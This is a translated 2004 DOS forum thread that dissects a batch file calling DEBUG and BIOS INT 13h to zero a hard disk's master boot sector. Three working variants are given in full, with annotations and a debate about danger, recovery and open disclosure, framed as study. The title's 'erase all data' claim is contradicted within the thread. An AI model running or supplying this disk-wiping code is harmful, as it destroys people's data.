China DOS Union

-- Unite DOS · Advance DOS · Grow DOS --

Union site: www.cn-dos.net Forum site: www.cn-dos.net/forum
DOS stands for freedom, openness and progress. Let us work hard, learn from the openness and GNU spirit of FreeDOS and Linux, and together build and grow a free GNU GPL world!

中国DOS联盟论坛
The time now is 2026-06-26 01:30
中国DOS联盟论坛 » DOS批处理 & 脚本技术(批处理室) » The Most Dangerous Batch File (Erase All Data on the Hard Disk) View 3,633 Replies 12
Original Poster Posted 2004-02-02 00:00 ·  中国 河北 唐山 联通
版主
★★★
操作系统爱好者
Credits 1,113
Posts 392
Joined 2002-11-11 00:00
23-year member
UID 228
Gender Male
Status Offline
This is an excellent chance to learn DEBUG!


@ECHO OFF
ECHO BE VERY CAREFUL, KILLHDD.bat WILL REMOVE EVRYTHING FROM YOUR DISK.
ECHO+
IF NOT EXIST %0 GOTO ERROR
ECHO PRESS A KEY TO DELETE ALL DATA ON YOUR HARD DISK, CTRL+C TO CANCEL.
pause >nul
DEBUG <%0
ECHO SUCCESS!
ECHO Computer is HALTED, Hit Ctrl+Alt+Del To Reboot . . .
CTTY NUL
A 100
INT 13

RAX
0301
RBX
0200
F 200 L 200 0
RCX
0001
RDX
0080
P
Q

;REPLACE 0080 WITH 0081 IF YOU
;WANT TO CLEAR THE SECOND PHYSICAL
;HDD, 0082 FOR THE THIRD HDD,ETC.

:ERROR
ECHO YOU MUST TYPE THE FULL FILE NAME (KILLHDD.BAT) TO EXECUTE.


How to use: create a new file, copy the above into it, save it as KILLHDD.BAT, put it on a boot disk (DEBUG.EXE must be there), and find an unused hard disk to experiment on.

Question: before, I had only heard of examples that clear sector 0. This is the first time I’ve seen a DEBUG program that zeroes the entire hard disk.
Please help analyze it.
DOS之家 http://doshome.com 站长 葛明阳
Floor 2 Posted 2004-02-03 00:00 ·  中国 辽宁 沈阳 联通
铂金会员
★★★★
痴迷DOS者
Credits 5,798
Posts 1,924
Joined 2003-06-20 00:00
23-year member
UID 5583
Gender Male
From 金獅電腦軟體工作室
Status Offline
This batch file can also be written like this:

@ECHO OFF
ECHO WARNING! BE VERY CAREFUL, KILLHDD.BAT Will REMOVE EVRYTHING FROM YOUR DISK.
ECHO.
IF NOT EXIST DEBUG.EXE GOTO ERROR
IF EXIST A.TXT DEL A.TXT
ECHO PRESS A KEY TO DELETE ALL DATA ON YOUR HARD DISK, CTRL+C TO CANCEL.
pause > nul
ECHO A 100 > A.TXT
ECHO INT 13 >> A.TXT
ECHO. >> A.TXT
ECHO R AX >> A.TXT
ECHO 0301 >> A.TXT
ECHO R BX >> A.TXT
ECHO 0200 >> A.TXT
ECHO F 200 L 200 0 >> A.TXT
ECHO R CX >> A.TXT
ECHO 0001 >> A.TXT
ECHO R DX >> A.TXT
ECHO 0080 >> A.TXT
ECHO P >> A.TXT
ECHO Q >> A.TXT
ECHO. >> A.TXT
DEBUG < A.TXT
ECHO SUCCESS!
ECHO Computer is HALTED, Hit Ctrl+Alt+Del To Reboot . . .
CTTY NUL

;REPLACE 0080 WITH 0081 IF YOU WANT TO CLEAR THE SECOND PHYSICAL HDD, 0082 FOR THE THIRD HDD,ETC.

:ERROR
ECHO DEBUG.EXE NOT FOUND!

If there’s anything inappropriate here, please point it out!
熟能生巧,巧能生精,一艺不精,终生无成,精亦求精,始有所成,臻于完美,永无止境!
金狮電腦軟體工作室愿竭诚为您服务!
QQ群:8393170(定期清理不发言者)
个人网站:http://www.520269.cn
电子邮件:doujiehui@vip.qq.com
微信公众号: doujiehui
Floor 3 Posted 2004-02-06 00:00 ·  中国 山西 太原 联通
元老会员
★★★★
Batchinger
Credits 4,432
Posts 1,512
Joined 2002-10-18 00:00
23-year member
UID 19
Gender Male
Status Offline
**********
Deleted by the author
**********
※ Batchinger 致 Bat Fans:请访问 批处理编程的异类 ,欢迎交流与共享批处理编程心得!
Floor 4 Posted 2004-02-06 00:00 ·  中国 山西 太原 联通
元老会员
★★★★
Batchinger
Credits 4,432
Posts 1,512
Joined 2002-10-18 00:00
23-year member
UID 19
Gender Male
Status Offline
Re gmy:

Generally speaking, it exaggerates things a bit. In fact, this program can only clear the hard disk master boot sector (0,0,1). If you run it under windows, problems will also occur, because Windows DOS mode forbids direct hard disk read/write.

The key part of the program is that DEBUG script; everything else only serves as support and explanation. Let’s analyze it:

A 100 ;start assembling at 0100,
INT 13 ;call the ROM BIOS int13 interrupt for direct hard disk read/write
;end assembly. Below, set the values of registers ax, bx, cx, dx as parameters for int13
RAX ;
0301 ;03 means write to hard disk, 01 means write one sector
RBX
0200 ;0200 means write the bytes in memory at to the target sector
F 200 L 200 0 ;fill the bytes at with 0, length 200
RCX
0001 ;head 0, sector 1
RDX
0080 ;cylinder/track 0, 80 = first hard disk, second hard disk is 81
P ;execute the interrupt code at 0100
Q ;quit DEBUG











※ Batchinger 致 Bat Fans:请访问 批处理编程的异类 ,欢迎交流与共享批处理编程心得!
Floor 5 Posted 2004-02-06 00:00 ·  中国 山西 太原 联通
元老会员
★★★★
Batchinger
Credits 4,432
Posts 1,512
Joined 2002-10-18 00:00
23-year member
UID 19
Gender Male
Status Offline
Re All:

That script just now is actually a very simple script, but for beginners it is still rather destructive. I recommend not trying it lightly.

To truly zero the entire hard disk, you must obtain the hard disk’s physical parameters, then clear the corresponding sectors in a loop. At present this is only an idea of mine; I have never actually implemented it.

Also, that script can be rewritten a bit more clearly:
f 200 L 200 0
a100
mov ax,0301 ;change this to 0201, and it will read one sector to
mov bx,0200
mov cx,0001
mov dx,0080
int13
int20

g
q
※ Batchinger 致 Bat Fans:请访问 批处理编程的异类 ,欢迎交流与共享批处理编程心得!
Floor 6 Posted 2004-02-06 00:00 ·  中国 辽宁 抚顺 联通
银牌会员
★★★
论坛候鸟
Credits 1,131
Posts 332
Joined 2003-11-27 00:00
22-year member
UID 13461
Gender Male
Status Offline
To the brothers in the posts above, I’m begging you all, this kind of batch file is the most terrifying kind (not a virus, even nastier than a virus). Antivirus software is useless against it. With just a slight modification, once it runs, whether expert or novice, nobody can escape disaster. Better not make this kind of batch file at all! It’s still better to handle things manually!
Floor 7 Posted 2004-02-06 00:00 ·  中国 湖北 武汉 电信
元老会员
★★★★★
步行的人
Credits 9,654
Posts 3,351
Joined 2003-03-11 00:00
23-year member
UID 1113
Gender Male
From 湖北
Status Offline
Old Ge’s stuff is highly confidential over at DOS Home. Everyone, give him some face.。。
弄花香满衣,掬水月在手。
明月鹭鸟飞, 芦花白马走。
我自一过后,野渡现横舟。
青云碧空在,净瓶水不流。
http://dos.e-stone.cn/guestbook/index.asp
======中國DOS聯盟=====
我的新网页http://rsds.7i24.com欢迎光顾
Floor 8 Posted 2004-02-06 00:00 ·  中国 湖北 武汉 联通
银牌会员
★★★
Credits 1,681
Posts 512
Joined 2003-08-02 00:00
22-year member
UID 7953
Gender Male
Status Offline
An alternative kind of “batch virus,” hehe
By the way, ctty nul was a magic prank tool in the DOS era
Somehow somewhere I've got to choose.
No matter if it is win or lose.
Floor 9 Posted 2004-02-07 00:00 ·  中国 广东 广州 荔湾区 电信
初级用户
Credits 112
Posts 5
Joined 2003-11-15 00:00
22-year member
UID 12856
Gender Male
Status Offline
You call this kind of kiddie-tricking batch file powerful? What a joke! If you’ve really got the skill, try it under WIN2000 or NT. Let’s see how you play around in protected mode. And even taking a step back, even if it can clear it, any recovery tool can fix it right away! Truly zeroing a hard disk is absolutely not something you can get done in two or three seconds. Even the old Jiangmin bomb can be recovered now in under a minute.
Floor 10 Posted 2004-02-07 00:00 ·  中国 山西 太原 联通
元老会员
★★★★
Batchinger
Credits 4,432
Posts 1,512
Joined 2002-10-18 00:00
23-year member
UID 19
Gender Male
Status Offline
Re tdj:

There is actually nothing wrong with letting everyone understand some basic common knowledge about operating hard disks under DOS; the method is just a bit extreme. For example, with a simple modification, the above code could be turned into a batch program for backing up and restoring the hard disk master boot sector and DOS boot sector. It would be simple and practical, and dealing with the malicious code above would then be very easy.

Re morixin:

I don’t know how high your skill level is, but I believe there are very few people who could recover from damage caused by the Jiangmin bomb within one minute. Why? Because even if you understand this area, once you add in judging the problem and making the program, the time required becomes much longer; if there is only one machine, the situation becomes even more awkward. Cases that can truly be completed within one minute can be said to be extremely rare, unless this happens to tens of thousands of machines at the same time and then you take the average time

So, brother, your thinking is a bit too idealized. If you know a lot, I suggest you post more of it here so that I and everyone else can learn together.







※ Batchinger 致 Bat Fans:请访问 批处理编程的异类 ,欢迎交流与共享批处理编程心得!
Floor 11 Posted 2004-02-07 00:00 ·  中国 辽宁 抚顺 联通
银牌会员
★★★
论坛候鸟
Credits 1,131
Posts 332
Joined 2003-11-27 00:00
22-year member
UID 13461
Gender Male
Status Offline
Re willsort:I think that nowadays, when a single hard disk stores tens of gigabytes or even over a hundred gigabytes of data, the value of the hard disk itself is relatively much smaller. Prevention and avoidance should be the main focus. Once something happens, trying to mend the fold after the sheep are lost is already too late. The quality level of forum users varies, and if someone makes a mess of it, the people in the posts above will bear no small blame!!!
Re morixin: Destruction is faster than construction, and damage is easier than repair. Please think it over!!!!
Floor 12 Posted 2004-02-08 00:00 ·  中国 山西 太原 联通
元老会员
★★★★
Batchinger
Credits 4,432
Posts 1,512
Joined 2002-10-18 00:00
23-year member
UID 19
Gender Male
Status Offline
Re tdj:

To prevent and avoid this, must we rely on monopoly of technique and ignorance? Rather than transparency and openness of information. As long as the solution is made public, the problem naturally will no longer be a problem.

Why not consider my suggestion and write a backup-and-restore program. Add detailed usage instructions, and prevention and avoidance will become very simple. That would count as a great good deed too.
※ Batchinger 致 Bat Fans:请访问 批处理编程的异类 ,欢迎交流与共享批处理编程心得!
Floor 13 Posted 2004-02-08 00:00 ·  中国 辽宁 抚顺 联通
银牌会员
★★★
论坛候鸟
Credits 1,131
Posts 332
Joined 2003-11-27 00:00
22-year member
UID 13461
Gender Male
Status Offline
…………Sigh!…………Maybe you’re right. We can’t stop eating for fear of choking. I only count as a not-too-green newbie. Lately I’ve been reading posts in the teaching room and the Q&A room all along. If brother willsort checks the few most frequent questions, I wonder what he’ll think…
Some experts can hit wherever they point. Most people would probably still not know where they were pointing even after firing……



Forum Jump: